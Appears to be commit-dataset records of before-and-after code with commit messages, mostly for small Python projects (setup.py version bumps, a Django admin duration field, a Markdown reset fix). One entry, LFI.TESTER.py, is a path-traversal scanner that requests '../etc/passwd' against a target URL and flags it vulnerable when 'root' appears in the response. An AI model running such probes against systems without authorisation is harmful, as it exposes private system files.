'pytest-selenium>=1.10.0,<2.0.0'], keywords='py.test pytest needle imagemagick perceptualdiff pil selenium visual', license=__license__, classifiers=[ 'Development Status :: 4 - Beta', 'Framework :: Pytest', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: Microsoft :: Windows', 'Operating System :: MacOS :: MacOS X', 'Topic :: Software Development :: Testing', 'Topic :: Software Development :: Quality Assurance', 'Topic :: Software Development :: Libraries', 'Topic :: Utilities', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ])
dbdf844f97feb69d405618271af943d17c4363cb
setup.py
setup.py
# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] initialize_uptrack_db = uptrack.scripts.initializedb:main """, )
# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] uptrack-initdb = uptrack.scripts.initializedb:main """, )
Rename the DB initialization script
scripts: Rename the DB initialization script We'll have other scripts, prefixing them all by the app name will be nicer to admins.
Python
agpl-3.0
network-box/uptrack,network-box/uptrack
# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] initialize_uptrack_db = uptrack.scripts.initializedb:main """, ) scripts: Rename the DB initialization script We'll have other scripts, prefixing them all by the app name will be nicer to admins.
# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] uptrack-initdb = uptrack.scripts.initializedb:main """, )
<commit_before># There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] initialize_uptrack_db = uptrack.scripts.initializedb:main """, ) <commit_msg>scripts: Rename the DB initialization script We'll have other scripts, prefixing them all by the app name will be nicer to admins.<commit_after>
# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] uptrack-initdb = uptrack.scripts.initializedb:main """, )
# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] initialize_uptrack_db = uptrack.scripts.initializedb:main """, ) scripts: Rename the DB initialization script We'll have other scripts, prefixing them all by the app name will be nicer to admins.# There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] uptrack-initdb = uptrack.scripts.initializedb:main """, )
<commit_before># There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] initialize_uptrack_db = uptrack.scripts.initializedb:main """, ) <commit_msg>scripts: Rename the DB initialization script We'll have other scripts, prefixing them all by the app name will be nicer to admins.<commit_after># There is a conflict with older versions on EL 6 __requires__ = ['PasteDeploy>=1.5.0', 'WebOb>=1.2b3', ] import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) README = open(os.path.join(here, 'README')).read() CHANGES = open(os.path.join(here, 'CHANGES')).read() requires = [ 'pyramid', 'SQLAlchemy', 'transaction', 'pyramid_tm', 'pyramid_debugtoolbar', 'zope.sqlalchemy', 'waitress', 'py-bcrypt', ] setup(name='uptrack', version='0.0', description='uptrack', long_description=README + '\n\n' + CHANGES, classifiers=[ "Programming Language :: Python", "Framework :: Pyramid", "Topic :: Internet :: WWW/HTTP", "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", ], author='Mathieu Bridon', author_email='mathieu.bridon@network-box.com', url='', license='AGPLv3+', packages=find_packages(), include_package_data=True, zip_safe=False, test_suite='uptrack', install_requires=requires, entry_points="""\ [paste.app_factory] main = uptrack:main [console_scripts] uptrack-initdb = uptrack.scripts.initializedb:main """, )
ec975fa105eb2238661d6e29e7cb004560a5ede7
setup.py
setup.py
from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.13', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) )
from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.14', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) )
Update infosystem to version 0.1.14
Update infosystem to version 0.1.14
Python
apache-2.0
samueldmq/infosystem
from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.13', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) ) Update infosystem to version 0.1.14
from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.14', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) )
<commit_before>from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.13', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) ) <commit_msg>Update infosystem to version 0.1.14<commit_after>
from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.14', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) )
from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.13', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) ) Update infosystem to version 0.1.14from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.14', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) )
<commit_before>from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.13', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) ) <commit_msg>Update infosystem to version 0.1.14<commit_after>from setuptools import setup, find_packages setup( name = 'infosystem', version = '0.1.14', summary = 'Infosystem Framework', url = 'https://github.com/samueldmq/infosystem', author = 'Samuel de Medeiros Queiroz', author_email = 'samueldmq@gmail.com', license = 'Apache-2', packages = find_packages(exclude=["tests"]) )
3b2247729d7079f885ac3cebcf6581c23f0d550b
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup setup( name='Pydm', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], )
#!/usr/bin/env python from setuptools import setup setup( name='dmpy', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], )
Fix package name to dmpy
Fix package name to dmpy
Python
mit
kvg/dmpy
#!/usr/bin/env python from setuptools import setup setup( name='Pydm', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], ) Fix package name to dmpy
#!/usr/bin/env python from setuptools import setup setup( name='dmpy', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], )
<commit_before>#!/usr/bin/env python from setuptools import setup setup( name='Pydm', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], ) <commit_msg>Fix package name to dmpy<commit_after>
#!/usr/bin/env python from setuptools import setup setup( name='dmpy', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], )
#!/usr/bin/env python from setuptools import setup setup( name='Pydm', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], ) Fix package name to dmpy#!/usr/bin/env python from setuptools import setup setup( name='dmpy', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], )
<commit_before>#!/usr/bin/env python from setuptools import setup setup( name='Pydm', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], ) <commit_msg>Fix package name to dmpy<commit_after>#!/usr/bin/env python from setuptools import setup setup( name='dmpy', version='0.1.1', description='Python Distributed Make', author='Kiran Garimella', author_email='kiran.garimella@gmail.com', packages=['dmpy'], )
2fbead7ee90847a5c47d152f086d4a96f52733ce
LFI.TESTER.py
LFI.TESTER.py
import sys import urllib2 import getopt import time target = '' depth = 10 file = 'etc/passwd' html = '' prefix = '' url = '' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:",["help","target="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target except getopt.GetoptError: usage() sys.exit(2) for i in range(1,depth+1): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if("root" in html): print url, " is Vulnerable" break else: time.sleep(2) continue
import sys import urllib2 import getopt import time target = '' depth = 6 file = 'etc/passwd' html = '' prefix = '' url = '' keyword='root' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:d:f:k:",["help","target=","depth=","file=","keyword="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target if opt in("-d","--depth"): depth = int(arg) if opt in("-f","--file"): file = arg if file.startswith('/',0,1): file =file[1:] if opt in("-d","--keyword"): keyword = arg except getopt.GetoptError: usage() sys.exit(2) for i in range(0,depth): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if(keyword in html): print url, " is Vulnerable" break else: time.sleep(2) continue
Add Deepth File And KeyWord Options
Add Deepth File And KeyWord Options
Python
apache-2.0
KaiyiZhang/Secipt,KaiyiZhang/Secipt,KaiyiZhang/Secipt
import sys import urllib2 import getopt import time target = '' depth = 10 file = 'etc/passwd' html = '' prefix = '' url = '' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:",["help","target="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target except getopt.GetoptError: usage() sys.exit(2) for i in range(1,depth+1): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if("root" in html): print url, " is Vulnerable" break else: time.sleep(2) continue Add Deepth File And KeyWord Options
import sys import urllib2 import getopt import time target = '' depth = 6 file = 'etc/passwd' html = '' prefix = '' url = '' keyword='root' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:d:f:k:",["help","target=","depth=","file=","keyword="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target if opt in("-d","--depth"): depth = int(arg) if opt in("-f","--file"): file = arg if file.startswith('/',0,1): file =file[1:] if opt in("-d","--keyword"): keyword = arg except getopt.GetoptError: usage() sys.exit(2) for i in range(0,depth): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if(keyword in html): print url, " is Vulnerable" break else: time.sleep(2) continue
<commit_before>import sys import urllib2 import getopt import time target = '' depth = 10 file = 'etc/passwd' html = '' prefix = '' url = '' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:",["help","target="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target except getopt.GetoptError: usage() sys.exit(2) for i in range(1,depth+1): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if("root" in html): print url, " is Vulnerable" break else: time.sleep(2) continue <commit_msg>Add Deepth File And KeyWord Options<commit_after>
import sys import urllib2 import getopt import time target = '' depth = 6 file = 'etc/passwd' html = '' prefix = '' url = '' keyword='root' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:d:f:k:",["help","target=","depth=","file=","keyword="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target if opt in("-d","--depth"): depth = int(arg) if opt in("-f","--file"): file = arg if file.startswith('/',0,1): file =file[1:] if opt in("-d","--keyword"): keyword = arg except getopt.GetoptError: usage() sys.exit(2) for i in range(0,depth): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if(keyword in html): print url, " is Vulnerable" break else: time.sleep(2) continue
import sys import urllib2 import getopt import time target = '' depth = 10 file = 'etc/passwd' html = '' prefix = '' url = '' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:",["help","target="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target except getopt.GetoptError: usage() sys.exit(2) for i in range(1,depth+1): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if("root" in html): print url, " is Vulnerable" break else: time.sleep(2) continue Add Deepth File And KeyWord Optionsimport sys import urllib2 import getopt import time target = '' depth = 6 file = 'etc/passwd' html = '' prefix = '' url = '' keyword='root' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:d:f:k:",["help","target=","depth=","file=","keyword="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target if opt in("-d","--depth"): depth = int(arg) if opt in("-f","--file"): file = arg if file.startswith('/',0,1): file =file[1:] if opt in("-d","--keyword"): keyword = arg except getopt.GetoptError: usage() sys.exit(2) for i in range(0,depth): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if(keyword in html): print url, " is Vulnerable" break else: time.sleep(2) continue
<commit_before>import sys import urllib2 import getopt import time target = '' depth = 10 file = 'etc/passwd' html = '' prefix = '' url = '' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:",["help","target="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target except getopt.GetoptError: usage() sys.exit(2) for i in range(1,depth+1): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if("root" in html): print url, " is Vulnerable" break else: time.sleep(2) continue <commit_msg>Add Deepth File And KeyWord Options<commit_after>import sys import urllib2 import getopt import time target = '' depth = 6 file = 'etc/passwd' html = '' prefix = '' url = '' keyword='root' def usage(): print "usage function" try: opts,args = getopt.getopt(sys.argv[1:],"ht:d:f:k:",["help","target=","depth=","file=","keyword="]) for opt, arg in opts: if opt in("-h","--help"): usage() sys.exit() if opt in("-t","--target"): target = arg if not target.startswith('http://', 0, 7): target = 'http://' + target if opt in("-d","--depth"): depth = int(arg) if opt in("-f","--file"): file = arg if file.startswith('/',0,1): file =file[1:] if opt in("-d","--keyword"): keyword = arg except getopt.GetoptError: usage() sys.exit(2) for i in range(0,depth): prefix += '../' url = target + prefix + file print "Testing: ",url try: response = urllib2.urlopen(url) html = response.read() except: pass if(keyword in html): print url, " is Vulnerable" break else: time.sleep(2) continue
0c2a7bfebbb6d427ffea66f4a8df534c5b8be974
timed/subscription/admin.py
timed/subscription/admin.py
from django.contrib import admin from . import models @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price']
from django import forms from django.contrib import admin from django.utils.translation import ugettext_lazy as _ from timed.forms import DurationInHoursField from . import models class PackageForm(forms.ModelForm): model = models.Package duration = DurationInHoursField( label=_('Duration in hours'), required=True, ) @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] form = PackageForm
Configure duration field on subscription package in hours
Configure duration field on subscription package in hours
Python
agpl-3.0
adfinis-sygroup/timed-backend,adfinis-sygroup/timed-backend,adfinis-sygroup/timed-backend
from django.contrib import admin from . import models @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] Configure duration field on subscription package in hours
from django import forms from django.contrib import admin from django.utils.translation import ugettext_lazy as _ from timed.forms import DurationInHoursField from . import models class PackageForm(forms.ModelForm): model = models.Package duration = DurationInHoursField( label=_('Duration in hours'), required=True, ) @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] form = PackageForm
<commit_before>from django.contrib import admin from . import models @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] <commit_msg>Configure duration field on subscription package in hours<commit_after>
from django import forms from django.contrib import admin from django.utils.translation import ugettext_lazy as _ from timed.forms import DurationInHoursField from . import models class PackageForm(forms.ModelForm): model = models.Package duration = DurationInHoursField( label=_('Duration in hours'), required=True, ) @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] form = PackageForm
from django.contrib import admin from . import models @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] Configure duration field on subscription package in hoursfrom django import forms from django.contrib import admin from django.utils.translation import ugettext_lazy as _ from timed.forms import DurationInHoursField from . import models class PackageForm(forms.ModelForm): model = models.Package duration = DurationInHoursField( label=_('Duration in hours'), required=True, ) @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] form = PackageForm
<commit_before>from django.contrib import admin from . import models @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] <commit_msg>Configure duration field on subscription package in hours<commit_after>from django import forms from django.contrib import admin from django.utils.translation import ugettext_lazy as _ from timed.forms import DurationInHoursField from . import models class PackageForm(forms.ModelForm): model = models.Package duration = DurationInHoursField( label=_('Duration in hours'), required=True, ) @admin.register(models.Package) class PackageAdmin(admin.ModelAdmin): list_display = ['billing_type', 'duration', 'price'] form = PackageForm
c745a6807a26173033bdbea8387e9c10275bb88d
step_stool/content.py
step_stool/content.py
__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} return DictAsMember(converted)
__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} md.reset() return DictAsMember(converted)
Call the reset() method in the Markdown object to clear extensions (e.g. metadata) between processing each file.
Call the reset() method in the Markdown object to clear extensions (e.g. metadata) between processing each file.
Python
mit
chriskrycho/step-stool,chriskrycho/step-stool
__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} return DictAsMember(converted) Call the reset() method in the Markdown object to clear extensions (e.g. metadata) between processing each file.
__author__ = 'Chris Krycho' __copyright__ = '2013 Chris Krycho' from logging import error from os import path, walk from sys import exit try: from markdown import Markdown from mixins import DictAsMember except ImportError as import_error: error(import_error) exit() def convert_source(config): ''' Convert all Markdown pages to HTML and metadata pairs. Pairs are keyed to file names slugs (without the original file extension). ''' md = Markdown(extensions=config.markdown_extensions, output_format='html5') converted = {} for root, dirs, file_names in walk(config.site.content.source): for file_name in file_names: file_path = path.join(root, file_name) plain_slug, extension = path.splitext(file_name) with open(file_path) as file: md_text = file.read() content = md.convert(md_text) converted[plain_slug] = {'content': content, 'meta': md.Meta} md.reset() return DictAsMember(converted)
